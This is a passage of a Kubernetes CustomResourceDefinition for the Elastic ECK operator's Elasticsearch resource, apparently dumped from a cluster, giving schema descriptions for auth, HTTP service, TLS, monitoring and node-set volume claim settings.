ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"unhealthyPodEvictionPolicy":{"description":"UnhealthyPodEvictionPolicy defines the criteria for when unhealthy pods\nshould be considered for eviction. Current implementation considers healthy pods,\nas pods that have status.conditions item with type=\"Ready\",status=\"True\".\n\n\nValid policies are IfHealthyBudget and AlwaysAllow.\nIf no policy is specified, the default behavior will be used,\nwhich corresponds to the IfHealthyBudget policy.\n\n\nIfHealthyBudget policy means that running pods (status.phase=\"Running\"),\nbut not yet healthy can be evicted only if the guarded application is not\ndisrupted (status.currentHealthy is at least equal to status.desiredHealthy).\nHealthy pods will be subject to the PDB for eviction.\n\n\nAlwaysAllow policy means that all running pods (status.phase=\"Running\"),\nbut not yet healthy are considered disrupted and can be evicted regardless\nof whether the criteria in a PDB is met. This means perspective running\npods of a disrupted application might not get a chance to become healthy.\nHealthy pods will be subject to the PDB for eviction.\n\n\nAdditional policies may be added in the future.\nClients making eviction decisions should disallow eviction of unhealthy pods\nif they encounter an unrecognized policy in this field.\n\n\nThis field is beta-level. The eviction API uses this field when\nthe feature gate PDBUnhealthyPodEvictionPolicy is enabled (enabled by default).","type":"string"}},"type":"object"}},"type":"object"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for Elasticsearch.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"updateStrategy":{"description":"UpdateStrategy specifies how updates to the cluster should be performed.","properties":{"changeBudget":{"description":"ChangeBudget defines the constraints to consider when applying changes to the Elasticsearch cluster.","properties":{"maxSurge":{"description":"MaxSurge is the maximum number of new pods that can be created exceeding the original number of pods defined in\nthe specification. MaxSurge is only taken into consideration when scaling up. Setting a negative value will\ndisable the restriction. Defaults to unbounded if not specified.","format":"int32","type":"integer"},"maxUnavailable":{"description":"MaxUnavailable is the maximum number of pods that can be unavailable (not ready) during the update due to\ncircumstances under the control of the operator. Setting a negative value will disable this restriction.\nDefaults to 1 if not specified.","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"version":{"description":"Version of Elasticsearch.","type":"string"}},"required":["nodeSets"],"type":"object"},"status":{"description":"ElasticsearchStatus defines the observed state of Elasticsearch","properties":{"availableNodes":{"format":"int32","type":"integer"},"health":{"description":"ElasticsearchHealth is the health of the cluster as returned by the health API.","type":"string"},"phase":{"description":"ElasticsearchOrchestrationPhase is the phase Elasticsearch is in from the controller point of view.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":false,"subresources":{"status":{}}},{"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"to not break compatibility when upgrading from previous versions of the CRD","type":"object"}},"served":false,"storage":false}]}}
    creationTimestamp: "2025-09-23T11:56:01Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: elasticsearches.elasticsearch.k8s.elastic.co
    resourceVersion: "432348"
    uid: 63c12f61-1d1f-45dd-86f9-38a468011735
  spec:
    conversion:
      strategy: None
    group: elasticsearch.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: Elasticsearch
      listKind: ElasticsearchList
      plural: elasticsearches
      shortNames:
      - es
      singular: elasticsearch
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Elasticsearch version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .status.phase
        name: phase
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: Elasticsearch represents an Elasticsearch resource in a Kubernetes
            cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ElasticsearchSpec holds the specification of an Elasticsearch
                cluster.
              properties:
                auth:
                  description: Auth contains user authentication and authorization
                    security settings for Elasticsearch.
                  properties:
                    disableElasticUser:
                      description: DisableElasticUser disables the default elastic
                        user that is created by ECK.
                      type: boolean
                    fileRealm:
                      description: FileRealm to propagate to the Elasticsearch cluster.
                      items:
                        description: FileRealmSource references users to create in
                          the Elasticsearch cluster.
                        properties:
                          secretName:
                            description: SecretName is the name of the secret.
                            type: string
                        type: object
                      type: array
                    roles:
                      description: Roles to propagate to the Elasticsearch cluster.
                      items:
                        description: RoleSource references roles to create in the
                          Elasticsearch cluster.
                        properties:
                          secretName:
                            description: SecretName is the name of the secret.
                            type: string
                        type: object
                      type: array
                  type: object
                http:
                  description: HTTP holds HTTP layer settings for Elasticsearch.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Elasticsearch Docker image to deploy.
                  type: string
                monitoring:
                  description: |-
                    Monitoring enables you to collect and ship log and monitoring data of this Elasticsearch cluster.
                    See https://www.elastic.co/guide/en/elasticsearch/reference/current/monitor-elasticsearch-cluster.html.
                    Metricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different
                    Elasticsearch monitoring clusters running in the same Kubernetes cluster.
                  properties:
                    logs:
                      description: Logs holds references to Elasticsearch clusters
                        which receive log data from an associated resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                    metrics:
                      description: Metrics holds references to Elasticsearch clusters
                        which receive monitoring data from this resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                  type: object
                nodeSets:
                  description: NodeSets allow specifying groups of Elasticsearch nodes
                    sharing the same configuration and Pod templates.
                  items:
                    description: NodeSet is the specification for a group of Elasticsearch
                      nodes sharing the same configuration and a Pod template.
                    properties:
                      config:
                        description: Config holds the Elasticsearch configuration.
                        type: object
                        x-kubernetes-preserve-unknown-fields: true
                      count:
                        description: |-
                          Count of Elasticsearch nodes to deploy.
                          If the node set is managed by an autoscaling policy the initial value is automatically set by the autoscaling controller.
                        format: int32
                        type: integer
                      name:
                        description: Name of this set of nodes. Becomes a part of
                          the Elasticsearch node.name setting.
                        maxLength: 23
                        pattern: '[a-zA-Z0-9-]+'
                        type: string
                      podTemplate:
                        description: PodTemplate provides customisation options (labels,
                          annotations, affinity rules, resource requests, and so on)
                          for the Pods belonging to this NodeSet.
                        type: object
                        x-kubernetes-preserve-unknown-fields: true
                      volumeClaimTemplates:
                        description: |-
                          VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod in this NodeSet.
                          Every claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.
                          Items defined here take precedence over any default claims added by the operator with the same name.
                        items:
                          description: PersistentVolumeClaim is a user's request for
                            and claim to a persistent volume
                          properties:
                            apiVersion:
                              description: |-
                                APIVersion defines the versioned schema of this representation of an object.
                                Servers should convert recognized schemas to the latest internal value, and
                                may reject unrecognized values.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
                              type: string
                            kind:
                              description: |-
                                Kind is a string value representing the REST resource this object represents.
                                Servers may infer this from the endpoint the client submits requests to.
                                Cannot be updated.
                                In CamelCase.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
                              type: string
                            metadata:
                              description: |-
                                Standard object's metadata.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  type: object
                                finalizers:
                                  items:
                                    type: string
                                  type: array
                                labels:
                                  additionalProperties:
                                    type: string
                                  type: object
                                name:
                                  type: string
                                namespace:
                                  type: string
                              type: object
                            spec:
                              description: |-
                                spec defines the desired characteristics of a volume requested by a pod author.
                                More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims
                              properties:
                                accessModes:
                                  description: |-
                                    accessModes contains the desired access modes the volume should have.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                                dataSource:
                                  description: |-
                                    dataSource field can be used to specify either:
                                    * An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)
                                    * An existing PVC (PersistentVolumeClaim)
                                    If the provisioner or an external controller can support the specified data source,
                                    it will create a new volume based on the contents of the specified data source.
                                    When the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,
                                    and dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.
                                    If the namespace is specified, then dataSourceRef will not be copied to dataSource.
                                  properties:
                                    apiGroup:
                                      description: |-
                                        APIGroup is the group for the resource being referenced.
                                        If APIGroup is not specified, the specified Kind must be in the core API group.
                                        For any other third-party types, APIGroup is required.
                                      type: string
                                    kind:
                                      description: Kind is the type of resource being
                                        referenced
                                      type: string
                                    name:
                                      description: Name is the name of resource being
                                        referenced
                                      type: string
                                  required:
                                  - kind
                                  - name
                                  type: object
                                  x-kubernetes-map-type: atomic
                                dataSourceRef:
                                  description: |-
                                    dataSourceRef specifies the object from which to populate the volume with data, if a non-empty
                                    volume is desired. This may be any object from a non-empty API group (non
                                    core object) or a PersistentVolumeClaim object.
                                    When this field is specified, volume binding will only succeed if the type of
                                    the specified object matches some installed volume populator or dynamic
                                    provisioner.
                                    This field will replace the functionality of the dataSource field and as such
                                    if both fields are non-empty, they must have the same value. For backwards
                                    compatibility, when namespace isn't specified in dataSourceRef,
                                    both fields (dataSource and dataSourceRef) will be set to the same
                                    value automatically if one of them is empty and the other is non-empty.
                                    When namespace is specified in dataSourceRef,
                                    dataSource isn't set to the same value and must be empty.
                                    There are three important differences between dataSource and dataSourceRef:
                                    * While dataSource only allows two specific types of objects, dataSourceRef
                                      allows any non-core object, as well as PersistentVolumeClaim objects.
                                    * While dataSource ignores disallowed values (dropping them), dataSourceRef
                                      preserves all values, and generates an error if a disallowed value is
                                      specified.
                                    * While dataSource only allows local objects, dataSourceRef allows objects
                                      in any namespaces.
                                    (Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.
                                    (Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                  properties:
                                    apiGroup:
                                      description: |-
                                        APIGroup is the group for the resource being referenced.
                                        If APIGroup is not specified, the specified Kind must be in the core API group.
                                        For any other third-party types, APIGroup is required.
                                      type: string
                                    kind:
                                      description: Kind is the type of resource being
                                        referenced
                                      type: string
                                    name:
                                      description: Name is the name of resource being
                                        referenced
                                      type: string
                                    namespace:
                                      description: |-
                                        Namespace is the namespace of resource being referenced
                                        Note that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.
